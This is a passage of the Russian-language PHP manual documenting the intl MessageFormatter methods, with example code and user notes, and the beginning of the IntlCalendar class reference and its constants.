MessageFormatter does not work with DateTime instances as parameters in PHP < 5.5. Instance will be converted to timestamp with value 0 (e.g. 1970-01-01) and following Notice will be raised: „Object of class DateTime could not be converted to int". You have to manually convert the instance to timestamp in these old PHP versions.

<?php
$datetime = new DateTime();
if (PHP_VERSION_ID < 50500) { // PHP < 5.5 needs conversion to timestamp
   MessageFormatter::formatMessage('en_US', 'Today is {0, date, full}.', array($datetime->getTimestamp()));
} else {
   // current code
   MessageFormatter::formatMessage('en_US', 'Today is {0, date, full}.', array($datetime));
}
?>


Создаёт средство форматирования сообщений

  • « MessageFormatter
  • MessageFormatter::formatMessage »
  • PHP Manual
  • MessageFormatter
  • Создаёт средство форматирования сообщений

MessageFormatter::create

MessageFormatter::__construct

msgfmt_create

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

MessageFormatter::create -- MessageFormatter::__construct -- msgfmt_create — Создаёт средство форматирования сообщений

Описание

Объектно-ориентированный стиль (метод)

public static MessageFormatter::create(string $locale, string $pattern): ?MessageFormatter

Объектно-ориентированный стиль (конструктор):

public MessageFormatter::__construct(string $locale, string $pattern)

Процедурный стиль

msgfmt_create(string $locale, string $pattern): ?MessageFormatter

Создаёт средство форматирования сообщений.

Список параметров

locale

Локаль, используемая при форматировании аргументов

pattern

Строка (string) шаблона для вставки аргументов. В шаблоне используется "дружественный к апострофам" синтаксис; подробнее смотрите в разделе » Quoting/Escaping.

Возвращаемые значения

Объект MessageFormatter или null в случае возникновения ошибки.

Ошибки

При вызове в качестве конструктора в случае возникновения ошибки выбрасывается исключение IntlException.

Примеры

Пример #1 Пример использования msgfmt_create()

<?php
$fmt = msgfmt_create("en_US", "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree");
echo msgfmt_format($fmt, array(4560, 123, 4560/123));
$fmt = msgfmt_create("de", "{0,number,integer} Affen auf {1,number,integer} Baumen sind {2,number} Affen pro Baum");
echo msgfmt_format($fmt, array(4560, 123, 4560/123));
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new MessageFormatter("en_US", "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree");
echo $fmt->format(array(4560, 123, 4560/123));
$fmt = new MessageFormatter("de", "{0,number,integer} Affen auf {1,number,integer} Baumen sind {2,number} Affen pro Baum");
echo $fmt->format(array(4560, 123, 4560/123));
?>

Результат выполнения данного примера:

4,560 monkeys on 123 trees make 37.073 monkeys per tree
4.560 Affen auf 123 Baumen sind 37,073 Affen pro Baum

Смотрите также

  • msgfmt_format() - Форматирует сообщение
  • msgfmt_parse() - Разбирает строку согласно шаблону
  • msgfmt_get_error_code() - Возвращает код ошибки последней операции
  • msgfmt_get_error_message() - Возвращает текст ошибки последней операции

User Contributed Notes

ezarko at synacor dot com 05-Oct-2009 03:18
Beware: passing an empty string for format returns null, not a formatter which returns empty strings.

$ php -r "print_r(new MessageFormatter('en_US',' '));"
MessageFormatter Object
(
)
$ php -r "print_r(new MessageFormatter('en_US',''));"


Быстро форматирует сообщение

  • « MessageFormatter::create
  • MessageFormatter::format »
  • PHP Manual
  • MessageFormatter
  • Быстро форматирует сообщение

MessageFormatter::formatMessage

msgfmt_format_message

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

MessageFormatter::formatMessage -- msgfmt_format_message — Быстро форматирует сообщение

Описание

Объектно-ориентированный стиль

public static MessageFormatter::formatMessage(string $locale, string $pattern, array $values): string|false

Процедурный стиль

msgfmt_format_message(string $locale, string $pattern, array $values): string|false

Функция быстрого форматирования, которая форматирует строку без необходимости явно создавать объект форматирования. Используйте эту функцию, когда операция форматирования выполняется только один раз и не требует сохранения параметров или состояния, а также когда необходимо настроить вывод, предоставив дополнительный контекст непосредственно для ICU.

Список параметров

locale

Локаль, используемая для форматирования частей, зависящих от локали

pattern

Строка (string) шаблона для вставки аргументов. В шаблоне используется "дружественный к апострофам" синтаксис; подробнее смотрите в разделе » Quoting/Escaping.

values

Массив значений (array) для вставки в строку формата (string).

Возвращаемые значения

Строка отформатированного шаблона или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования msgfmt_format_message()

<?php
echo msgfmt_format_message("en_US", "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree\n", array(4560, 123, 4560/123));
echo msgfmt_format_message("de", "{0,number,integer} Affen auf {1,number,integer} Baumen sind {2,number} Affen pro Baum\n", array(4560, 123, 4560/123));
echo msgfmt_format_message("en", 'You finished {place, selectordinal, one {#st} two {#nd} few {#rd} other {#th}}!', ['place' => 3]), "\n";
echo msgfmt_format_message("en",
"There {apple, plural,
=0 {are no apples}
=1 {is one apple...}
other {are # apples!}
}",
['apple' => 0]
), "\n";
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
echo MessageFormatter::formatMessage("en_US", "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree\n", array(4560, 123, 4560/123));
echo MessageFormatter::formatMessage("de", "{0,number,integer} Affen auf {1,number,integer} Baumen sind {2,number} Affen pro Baum\n", array(4560, 123, 4560/123));
echo MessageFormatter::formatMessage("en", 'You finished {place, selectordinal, one {#st} two {#nd} few {#rd} other {#th}}!', ['place' => 3]), "\n";
echo MessageFormatter::formatMessage("en",
"There {apple, plural,
=0 {are no apples}
=1 {is one apple...}
other {are # apples!}
}",
['apple' => 0]
), "\n";
?>

Результат выполнения данного примера:

4,560 monkeys on 123 trees make 37.073 monkeys per tree
4.560 Affen auf 123 Baumen sind 37,073 Affen pro Baum
You finished 3rd!
There are no apples

Пример #3 Пример использования ICU для форматирования валюты с общим и с узким символом валюты

Requires ICU ? 67.

<?php
echo msgfmt_format_message("cs_CZ", "{0, number, :: currency/CAD}", array(123.45));
echo msgfmt_format_message("cs_CZ", "{0, number, :: currency/CAD unit-width-narrow}", array(123.45));

Результат выполнения данного примера:

123,45 CA$
123,45 $

Смотрите также

  • msgfmt_create() - Создаёт средство форматирования сообщений
  • msgfmt_parse() - Разбирает строку согласно шаблону
  • msgfmt_get_error_code() - Возвращает код ошибки последней операции
  • msgfmt_get_error_message() - Возвращает текст ошибки последней операции

User Contributed Notes

ricardoyubal at gmail dot com 06-Jul-2021 09:31
Although not mentioned, single quotes (') are used internally as escaping characters. So if you want to have them in your output, you should escape them with another single quote. See examples below.

<?php

// The value {foo} should be enclosed in single quotes
echo msgfmt_format_message('en_US', "The value '{foo}' should be enclosed in single quotes", ['foo' => 'bar']);

// The value 'bar' should be enclosed in single quotes
echo msgfmt_format_message('en_US', "The value ''{foo}'' should be enclosed in single quotes", ['foo' => 'bar']);

?>
contact at sowapps dot com 21-Jun-2021 09:54
For now, there is now way to define a default value.

<?php
echo msgfmt_format_message('fr_FR', '{distance, plural, =0{Here}other{# km}}', []);
// Show {distance}
?>
zlobnygrif at gmail dot com 10-Jul-2013 05:59
<?php
var_dump(
  msgfmt_format_message('ru_RU', 'The value of {somekey} is {0, choice, 0 #less 12| 12 #between 12 and 32| 32 #more than 32}', ['SomeAnotherKey' => -1]),
  msgfmt_format_message('ru_RU', 'The value of {somekey} is {0, choice, 0 #less 12| 12 #between 12 and 32| 32 #more than 32}', [14]),
  msgfmt_format_message('ru_RU', 'The value of {somekey} is {0, choice, 0 #less 12| 12 #between 12 and 32| 32 #more than 32}', [133]),
  msgfmt_format_message('ru_RU', '{0, plural, =0{Zero}=1{One}other{Unknown #}}', [0]),
  msgfmt_format_message('ru_RU', '{0, plural, =0{Zero}=1{One}other{Unknown #}}', [1]),
  msgfmt_format_message('ru_RU', '{0, plural, =0{Zero}=1{One}other{Unknown #}}', [2]),
  msgfmt_format_message('ru_RU', '{0, select, somevalue{This is some value} other{Unknown value}}', ['somevalue']),
  msgfmt_format_message('ru_RU', '{0, select, somevalue{This is some value} other{Unknown value "{0}"}}', ['somevalue2'])
);

var_dump(
  msgfmt_format_message('en_GB', 'Peter has {0, plural, =0{no cat} =1{a cat} other{# cats}}', [0]),
  msgfmt_format_message('en_GB', 'Peter has {0, plural, =0{no cat} =1{a cat} other{# cats}}', [1]),
  msgfmt_format_message('en_GB', 'Peter has {0, plural, =0{no cat} =1{a cat} other{# cats}}', [2])
);
?>

Output (PHP 5.4.17RC1)
==========================
string 'The value of -1 is less 12' (length=26)
string 'The value of 14 is between 12 and 32' (length=36)
string 'The value of 133 is more than 32' (length=32)
string 'Zero' (length=4)
string 'One' (length=3)
string 'Unknown 2' (length=9)
string 'This is some value' (length=18)
string 'Unknown value "somevalue2"' (length=26)
string 'Peter has no cat' (length=16)
string 'Peter has a cat' (length=15)
string 'Peter has 2 cats' (length=16)


Форматирует сообщение

  • « MessageFormatter::formatMessage
  • MessageFormatter::getErrorCode »
  • PHP Manual
  • MessageFormatter
  • Форматирует сообщение

MessageFormatter::format

msgfmt_format

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

MessageFormatter::format -- msgfmt_format — Форматирует сообщение

Описание

Объектно-ориентированный стиль

public MessageFormatter::format(array $values): string|false

Процедурный стиль

msgfmt_format(MessageFormatter $formatter, array $values): string|false

Форматирует сообщение, подставляя данные в строку формата в соответствии с правилами локали.

Список параметров

formatter

Объект MessageFormatter

values

Аргументы для вставки в строку формата

Возвращаемые значения

Отформатированная строка или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования msgfmt_format()

<?php
$fmt = msgfmt_create("en_US", "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree");
echo msgfmt_format($fmt, array(4560, 123, 4560/123));
$fmt = msgfmt_create("de", "{0,number,integer} Affen auf {1,number,integer} Baumen sind {2,number} Affen pro Baum");
echo msgfmt_format($fmt, array(4560, 123, 4560/123));
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new MessageFormatter("en_US", "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree");
echo $fmt->format(array(4560, 123, 4560/123));
$fmt = new MessageFormatter("de", "{0,number,integer} Affen auf {1,number,integer} Baumen sind {2,number} Affen pro Baum");
echo $fmt->format(array(4560, 123, 4560/123));
?>

Результат выполнения данного примера:

4,560 monkeys on 123 trees make 37.073 monkeys per tree
4.560 Affen auf 123 Baumen sind 37,073 Affen pro Baum

Смотрите также

  • msgfmt_create() - Создаёт средство форматирования сообщений
  • msgfmt_parse() - Разбирает строку согласно шаблону
  • msgfmt_format_message() - Быстро форматирует сообщение
  • msgfmt_get_error_code() - Возвращает код ошибки последней операции
  • msgfmt_get_error_message() - Возвращает текст ошибки последней операции

User Contributed Notes

There are no user contributed notes for this page.


Возвращает код ошибки последней операции

  • « MessageFormatter::format
  • MessageFormatter::getErrorMessage »
  • PHP Manual
  • MessageFormatter
  • Возвращает код ошибки последней операции

MessageFormatter::getErrorCode

msgfmt_get_error_code

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

MessageFormatter::getErrorCode -- msgfmt_get_error_code — Возвращает код ошибки последней операции

Описание

Объектно-ориентированный стиль

public MessageFormatter::getErrorCode(): int

Процедурный стиль

msgfmt_get_error_code(MessageFormatter $formatter): int

Возвращает код ошибки последней операции.

Список параметров

formatter

Объект MessageFormatter

Возвращаемые значения

Код ошибки, одно из значений UErrorCode. Начальное значение - U_ZERO_ERROR.

Смотрите также

  • msgfmt_get_error_message() - Возвращает текст ошибки последней операции
  • intl_get_error_code() - Получить код последней ошибки
  • intl_is_failure() - Проверить, является ли код ошибки признаком сбоя

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текст ошибки последней операции

  • « MessageFormatter::getErrorCode
  • MessageFormatter::getLocale »
  • PHP Manual
  • MessageFormatter
  • Возвращает текст ошибки последней операции

MessageFormatter::getErrorMessage

msgfmt_get_error_message

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

MessageFormatter::getErrorMessage -- msgfmt_get_error_message — Возвращает текст ошибки последней операции

Описание

Объектно-ориентированный стиль

public MessageFormatter::getErrorMessage(): string

Процедурный стиль

msgfmt_get_error_message(MessageFormatter $formatter): string

Возвращает текст ошибки последней операции.

Список параметров

formatter

Объект MessageFormatter

Возвращаемые значения

Описание последней ошибки.

Примеры

Пример #1 Пример использования msgfmt_get_error_message()

<?php
$fmt = msgfmt_create("en_US", "{0, number} monkeys on {1, number} trees");
$str = msgfmt_format($fmt, array());
if(!$str) {
echo "ERROR: ".msgfmt_get_error_message($fmt) . " (" . msgfmt_get_error_code($fmt) . ")\n";
}
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new MessageFormatter("en_US", "{0, number} monkeys on {1, number} trees");
$str = $fmt->format(array());
if(!$str) {
echo "ERROR: ".$fmt->getErrorMessage() . " (" . $fmt->getErrorCode() . ")\n";
}
?>

Результат выполнения данного примера:

ERROR: msgfmt_format: not enough parameters: U_ILLEGAL_ARGUMENT_ERROR (1)

Смотрите также

  • msgfmt_get_error_code() - Возвращает код ошибки последней операции
  • intl_get_error_code() - Получить код последней ошибки
  • intl_is_failure() - Проверить, является ли код ошибки признаком сбоя

User Contributed Notes

There are no user contributed notes for this page.


Возвращает локаль, для которой было создано средство форматирования

  • « MessageFormatter::getErrorMessage
  • MessageFormatter::getPattern »
  • PHP Manual
  • MessageFormatter
  • Возвращает локаль, для которой было создано средство форматирования

MessageFormatter::getLocale

msgfmt_get_locale

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

MessageFormatter::getLocale -- msgfmt_get_locale — Возвращает локаль, для которой было создано средство форматирования

Описание

Объектно-ориентированный стиль

public MessageFormatter::getLocale(): string

Процедурный стиль

msgfmt_get_locale(MessageFormatter $formatter): string

Возвращает локаль, для которой было создано средство форматирования.

Список параметров

formatter

Объект MessageFormatter

Возвращаемые значения

Имя локали.

Примеры

Пример #1 Пример использования msgfmt_get_locale()

<?php
$fmt = msgfmt_create('en_US', "Number {0,number}");
echo msgfmt_get_locale($fmt);
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new MessageFormatter('en_US', "Number {0,number}");
echo $fmt->getLocale();
?>

Результат выполнения данного примера:

en_US

Смотрите также

  • msgfmt_create() - Создаёт средство форматирования сообщений

User Contributed Notes

There are no user contributed notes for this page.


Возвращает шаблон, используемый средством форматирования

  • « MessageFormatter::getLocale
  • MessageFormatter::parseMessage »
  • PHP Manual
  • MessageFormatter
  • Возвращает шаблон, используемый средством форматирования

MessageFormatter::getPattern

msgfmt_get_pattern

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

MessageFormatter::getPattern -- msgfmt_get_pattern — Возвращает шаблон, используемый средством форматирования

Описание

Объектно-ориентированный стиль

public MessageFormatter::getPattern(): string|false

Процедурный стиль

msgfmt_get_pattern(MessageFormatter $formatter): string|false

Возвращает шаблон, используемый средством форматирования.

Список параметров

formatter

Объект MessageFormatter

Возвращаемые значения

Строка (string) шаблона для данного средства форматирования сообщения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования msgfmt_get_pattern()

<?php
$fmt = msgfmt_create( "en_US", "{0, number} monkeys on {1, number} trees" );
echo "Default pattern: '" . msgfmt_get_pattern( $fmt ) . "'\n";
echo "Formatting result: " . msgfmt_format( $fmt, array(123, 456) ) . "\n";

msgfmt_set_pattern( $fmt, "{0, number} trees hosting {1, number} monkeys" );
echo "New pattern: '" . msgfmt_get_pattern( $fmt ) . "'\n";
echo "Formatted number: " . msgfmt_format( $fmt, array(123, 456) ) . "\n";
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new MessageFormatter( "en_US", "{0, number} monkeys on {1, number} trees" );
echo "Default pattern: '" . $fmt->getPattern() . "'\n";
echo "Formatting result: " . $fmt->format(array(123, 456)) . "\n";

$fmt->setPattern("{0, number} trees hosting {1, number} monkeys" );
echo "New pattern: '" . $fmt->getPattern() . "'\n";
echo "Formatted number: " . $fmt->format(array(123, 456)) . "\n";
?>

Результат выполнения данного примера:

Default pattern: '{0,number} monkeys on {1,number} trees'
Formatting result: 123 monkeys on 456 trees
New pattern: '{0,number} trees hosting {1,number} monkeys'
Formatted number: 123 trees hosting 456 monkeys

Смотрите также

  • msgfmt_create() - Создаёт средство форматирования сообщений
  • msgfmt_set_pattern() - Устанавливает шаблон, используемый средством форматирования

User Contributed Notes

There are no user contributed notes for this page.


Быстро разбирает входную строку

  • « MessageFormatter::getPattern
  • MessageFormatter::parse »
  • PHP Manual
  • MessageFormatter
  • Быстро разбирает входную строку

MessageFormatter::parseMessage

msgfmt_parse_message

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

MessageFormatter::parseMessage -- msgfmt_parse_message — Быстро разбирает входную строку

Описание

Объектно-ориентированный стиль

public static MessageFormatter::parseMessage(string $locale, string $pattern, string $message): array|false

Процедурный стиль

msgfmt_parse_message(string $locale, string $pattern, string $message): array|false

Разбирает входную строку без явного создания объекта форматирования. Используйте эту функцию, когда операция форматирования выполняется только один раз и не требует сохранения параметров или состояния.

Список параметров

locale

Локаль, используемая для разбора частей, зависящих от локали

pattern

Шаблон, использующийся для разбора message.

message

Строка (string) для разбора, соответствующая pattern.

Возвращаемые значения

Массив (array), содержащий извлечённые элементы или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования msgfmt_parse_message()

<?php
$fmt = msgfmt_parse_message('en_US', "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree",
"4,560 monkeys on 123 trees make 37.073 monkeys per tree");
var_export($fmt);

$fmt = msgfmt_parse_message('de', "{0,number,integer} Affen auf {1,number,integer} Baumen sind {2,number} Affen pro Baum",
"4.560 Affen auf 123 Baumen sind 37,073 Affen pro Baum");
var_export($fmt);
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = MessageFormatter::parseMessage('en_US', "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree",
"4,560 monkeys on 123 trees make 37.073 monkeys per tree");
var_export($fmt);

$fmt = MessageFormatter::parseMessage('de', "{0,number,integer} Affen auf {1,number,integer} Baumen sind {2,number} Affen pro Baum",
"4.560 Affen auf 123 Baumen sind 37,073 Affen pro Baum");
var_export($fmt);
?>

Результат выполнения данного примера:

array (
  0 => 4560,
  1 => 123,
  2 => 37.073,
)
array (
  0 => 4560,
  1 => 123,
  2 => 37.073,
)

Смотрите также

  • msgfmt_create() - Создаёт средство форматирования сообщений
  • msgfmt_format_message() - Быстро форматирует сообщение
  • msgfmt_parse() - Разбирает строку согласно шаблону

User Contributed Notes

There are no user contributed notes for this page.


Разбирает строку согласно шаблону

  • « MessageFormatter::parseMessage
  • MessageFormatter::setPattern »
  • PHP Manual
  • MessageFormatter
  • Разбирает строку согласно шаблону

MessageFormatter::parse

msgfmt_parse

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

MessageFormatter::parse -- msgfmt_parse — Разбирает строку согласно шаблону

Описание

Объектно-ориентированный стиль

public MessageFormatter::parse(string $string): array|false

Процедурный стиль

msgfmt_parse(MessageFormatter $formatter, string $string): array|false

Разбирает входную строку (string) и возвращает все извлечённые элементы в виде массива (array).

Список параметров

formatter

Объект MessageFormatter.

string

Строка (string) для разбора.

Возвращаемые значения

Массив (array), содержащий извлечённые элементы или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования msgfmt_parse()

<?php
$fmt = msgfmt_create('en_US', "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree");
$res = msgfmt_parse($fmt, "4,560 monkeys on 123 trees make 37.073 monkeys per tree");
var_export($res);

$fmt = msgfmt_create('de', "{0,number,integer} Affen auf {1,number,integer} Baumen sind {2,number} Affen pro Baum");
$res = msgfmt_parse($fmt, "4.560 Affen auf 123 Baumen sind 37,073 Affen pro Baum");
var_export($res);
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new MessageFormatter('en_US', "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree");
$res = $fmt->parse("4,560 monkeys on 123 trees make 37.073 monkeys per tree");
var_export($res);

$fmt = new MessageFormatter('de', "{0,number,integer} Affen auf {1,number,integer} Baumen sind {2,number} Affen pro Baum");
$res = $fmt->parse("4.560 Affen auf 123 Baumen sind 37,073 Affen pro Baum");
var_export($res);
?>

Результат выполнения данного примера:

array (
  0 => 4560,
  1 => 123,
  2 => 37.073,
)
array (
  0 => 4560,
  1 => 123,
  2 => 37.073,
)

Смотрите также

  • msgfmt_create() - Создаёт средство форматирования сообщений
  • msgfmt_format() - Форматирует сообщение
  • msgfmt_parse_message() - Быстро разбирает входную строку

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает шаблон, используемый средством форматирования

  • « MessageFormatter::parse
  • IntlCalendar »
  • PHP Manual
  • MessageFormatter
  • Устанавливает шаблон, используемый средством форматирования

MessageFormatter::setPattern

msgfmt_set_pattern

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

MessageFormatter::setPattern -- msgfmt_set_pattern — Устанавливает шаблон, используемый средством форматирования

Описание

Объектно-ориентированный стиль

public MessageFormatter::setPattern(string $pattern): bool

Процедурный стиль

msgfmt_set_pattern(MessageFormatter $formatter, string $pattern): bool

Устанавливает шаблон, используемый средством форматирования.

Список параметров

formatter

Объект MessageFormatter

pattern

Строка (string) шаблона для использования в этом средстве форматирования сообщения. В шаблоне используется "дружественный к апострофам" синтаксис; подробнее смотрите в разделе » Quoting/Escaping.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования msgfmt_set_pattern()

<?php
$fmt = msgfmt_create( "en_US", "{0, number} monkeys on {1, number} trees" );
echo "Default pattern: '" . msgfmt_get_pattern( $fmt ) . "'\n";
echo "Formatting result: " . msgfmt_format( $fmt, array(123, 456) ) . "\n";

msgfmt_set_pattern( $fmt, "{0, number} trees hosting {1, number} monkeys" );
echo "New pattern: '" . msgfmt_get_pattern( $fmt ) . "'\n";
echo "Formatted number: " . msgfmt_format( $fmt, array(123, 456) ) . "\n";
?>

Пример #2 Пример использования в объектно-ориентированном стиле

<?php
$fmt = new MessageFormatter( "en_US", "{0, number} monkeys on {1, number} trees" );
echo "Default pattern: '" . $fmt->getPattern() . "'\n";
echo "Formatting result: " . $fmt->format(array(123, 456)) . "\n";

$fmt->setPattern("{0, number} trees hosting {1, number} monkeys" );
echo "New pattern: '" . $fmt->getPattern() . "'\n";
echo "Formatted number: " . $fmt->format(array(123, 456)) . "\n";
?>

Результат выполнения данного примера:

Default pattern: '{0,number} monkeys on {1,number} trees'
Formatting result: 123 monkeys on 456 trees
New pattern: '{0,number} trees hosting {1,number} monkeys'
Formatted number: 123 trees hosting 456 monkeys

Смотрите также

  • msgfmt_create() - Создаёт средство форматирования сообщений
  • msgfmt_get_pattern() - Возвращает шаблон, используемый средством форматирования

User Contributed Notes

neil dot smith at vouchercloud dot com 05-Aug-2014 12:29
A correct example would be to transpose the placeholders in pattern 2.

This is typical where changing messages from one language to another changes the word order, to result in a sensible translation.

Let's imagine it's localised as Spanish or Russian instead of English.
So really you want to have pattern 2 provided by your human translator to read like this :

New pattern: '{1,number} trees hosting {0,number} monkeys'
Formatted number: 456 trees hosting 123 monkeys

That is - the order of arguments is always the same, but your translated message content has the placeholders transposed for non English languages.


Класс IntlCalendar

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

Введение

Обзор классов

class IntlCalendar {
/* Константы */
public const int FIELD_ERA;
public const int FIELD_YEAR;
public const int FIELD_MONTH;
public const int FIELD_WEEK_OF_YEAR;
public const int FIELD_WEEK_OF_MONTH;
public const int FIELD_DATE;
public const int FIELD_DAY_OF_YEAR;
public const int FIELD_DAY_OF_WEEK;
public const int FIELD_DAY_OF_WEEK_IN_MONTH;
public const int FIELD_AM_PM;
public const int FIELD_HOUR;
public const int FIELD_HOUR_OF_DAY;
public const int FIELD_MINUTE;
public const int FIELD_SECOND;
public const int FIELD_MILLISECOND;
public const int FIELD_ZONE_OFFSET;
public const int FIELD_DST_OFFSET;
public const int FIELD_YEAR_WOY;
public const int FIELD_DOW_LOCAL;
public const int FIELD_EXTENDED_YEAR;
public const int FIELD_JULIAN_DAY;
public const int FIELD_MILLISECONDS_IN_DAY;
public const int FIELD_IS_LEAP_MONTH;
public const int FIELD_FIELD_COUNT;
public const int FIELD_DAY_OF_MONTH;
public const int DOW_SUNDAY;
public const int DOW_MONDAY;
public const int DOW_TUESDAY;
public const int DOW_WEDNESDAY;
public const int DOW_THURSDAY;
public const int DOW_FRIDAY;
public const int DOW_SATURDAY;
public const int DOW_TYPE_WEEKDAY;
public const int DOW_TYPE_WEEKEND;
public const int DOW_TYPE_WEEKEND_OFFSET;
public const int DOW_TYPE_WEEKEND_CEASE;
public const int WALLTIME_FIRST;
public const int WALLTIME_LAST;
public const int WALLTIME_NEXT_VALID;
/* Методы */
private __construct()
public add(int $field, int $value): bool
public after(IntlCalendar $other): bool
public before(IntlCalendar $other): bool
public clear(?int $field = null): true
public static createInstance(IntlTimeZone|DateTimeZone|string|null $timezone = null, ?string $locale = null): ?IntlCalendar
public equals(IntlCalendar $other): bool
public fieldDifference(float $timestamp, int $field): int|false
public static fromDateTime(DateTime|string $datetime, ?string $locale = null): ?IntlCalendar
public get(int $field): int|false
public getActualMaximum(int $field): int|false
public getActualMinimum(int $field): int|false
public static getAvailableLocales(): array
public getDayOfWeekType(int $dayOfWeek): int|false
public getErrorCode(): int|false
public getErrorMessage(): string|false
public getFirstDayOfWeek(): int|false
public getGreatestMinimum(int $field): int|false
public static getKeywordValuesForLocale(string $keyword, string $locale, bool $onlyCommon): IntlIterator|false
public getLeastMaximum(int $field): int|false
public getLocale(int $type): string|false
public getMaximum(int $field): int|false
public getMinimalDaysInFirstWeek(): int|false
public getMinimum(int $field): int|false
public static getNow(): float
public getRepeatedWallTimeOption(): int
public getSkippedWallTimeOption(): int
public getTime(): float|false
public getTimeZone(): IntlTimeZone|false
public getType(): string
public getWeekendTransition(int $dayOfWeek): int|false
public inDaylightTime(): bool
public isEquivalentTo(IntlCalendar $other): bool
public isLenient(): bool
public isSet(int $field): bool
public isWeekend(?float $timestamp = null): bool
public roll(int $field, int|bool $value): bool
public set(int $field, int $value): true
public set(
int $year,
int $month,
int $dayOfMonth = NULL,
int $hour = NULL,
int $minute = NULL,
int $second = NULL
): true
public setDate(int $year, int $month, int $dayOfMonth): void
public setDateTime(
int $year,
int $month,
int $dayOfMonth,
int $hour,
int $minute,
int $second = null
): void
public setFirstDayOfWeek(int $dayOfWeek): true
public setLenient(bool $lenient): true
public setMinimalDaysInFirstWeek(int $days): true
public setRepeatedWallTimeOption(int $option): true
public setSkippedWallTimeOption(int $option): true
public setTime(float $timestamp): bool
public setTimeZone(IntlTimeZone|DateTimeZone|string|null $timezone): bool
public toDateTime(): DateTime|false
}

Предопределённые константы

IntlCalendar::FIELD_ERA

Поле календаря численно представляет эпоху, например 1 для "от рождества Христова" и 0 для "до рождества Христова" в Григорианском и Юлианском календарях и 235 для периода Хэйсэй (??) в Японском календаре. Не все календари имеют больше одной эпохи.

IntlCalendar::FIELD_YEAR

Поле календаря для года. Не уникально в контексте нескольких эпох. Если календарь содержит более одной эры, то, обычно, минимальное значение этого поля равно 1.

IntlCalendar::FIELD_MONTH

Поле календаря для месяца. Последовательность месяцев начинается с нуля, следовательно Janurary (Январь) (здесь используется для обозначения первого месяца года, но по факту может быть совсем другое имя, например Muharram для Исламского календаря) будет представлен числом 0, February (Февраль) числом 1, ..., December (Декабрь) числом 11 и, для некоторых календарей, 13й или високосный месяц, значение будет равно 12.

IntlCalendar::FIELD_WEEK_OF_YEAR

Поле календаря для номера недели в году. Зависит от того, с какого дня начинается неделя и минимального количества дней в неделе.

IntlCalendar::FIELD_WEEK_OF_MONTH

Поле календаря для номера недели в месяце. Зависит от того, с какого дня начинается неделя и минимального количества дней в неделе.

IntlCalendar::FIELD_DATE

Поле календаря для номера дня в месяце. То же самое, что и IntlCalendar::FIELD_DAY_OF_MONTH.

IntlCalendar::FIELD_DAY_OF_YEAR

Поле календаря для номера дня в году. Для Грегорианского календаря находится в диапазоне от 1 до 365 или 366.

IntlCalendar::FIELD_DAY_OF_WEEK

Поле календаря для номера дня в неделе. Начинается с 1 (Воскресенье, смотри IntlCalendar::DOW_SUNDAY и связанные константы) и заканчивается 7 (Суббота).

IntlCalendar::FIELD_DAY_OF_WEEK_IN_MONTH

Номер дня недели (Воскресенье, Понедельник, ...) в месяце. Допустим это значение равно 1, а значение дня недели равно 2 (Понедельник), следовательно это первый понедельник месяца. Максимальное значение равно 5.

Также допустимы значения 0 и ниже (отрицательные). Значение 0 охватывает 7 дней непосредственно перед началом месяца (первый подходящий день в месяце имеет значение 1). Отрицательные значения отсчитываются от конца месяца. Так, значение -1 указывает на последний подходящий день месяца, -2 на второй с конца и т.д.

В отличие от IntlCalendar::FIELD_WEEK_OF_MONTH и IntlCalendar::FIELD_WEEK_OF_YEAR, это значение не зависит от IntlCalendar::getFirstDayOfWeek() и IntlCalendar::getMinimalDaysInFirstWeek(). Первая среда - это первая среда, даже если неделя началась в предыдущем месяце.

IntlCalendar::FIELD_AM_PM

Поле календаря определяющее время до/после полудня. Соответственно 0 - до полудня, (1) - после. Полночь считается как "до полудня", полдень как "после полудня".

IntlCalendar::FIELD_HOUR

Поле календаря для часов, без указания до или после полудня. Допустимы значения в интервале от 0 до 11.

IntlCalendar::FIELD_HOUR_OF_DAY

Поле календаря для полных (24-часовой формат) часов. Допустимы значения от 0 до 23.

IntlCalendar::FIELD_MINUTE

Поле календаря для минут.

IntlCalendar::FIELD_SECOND

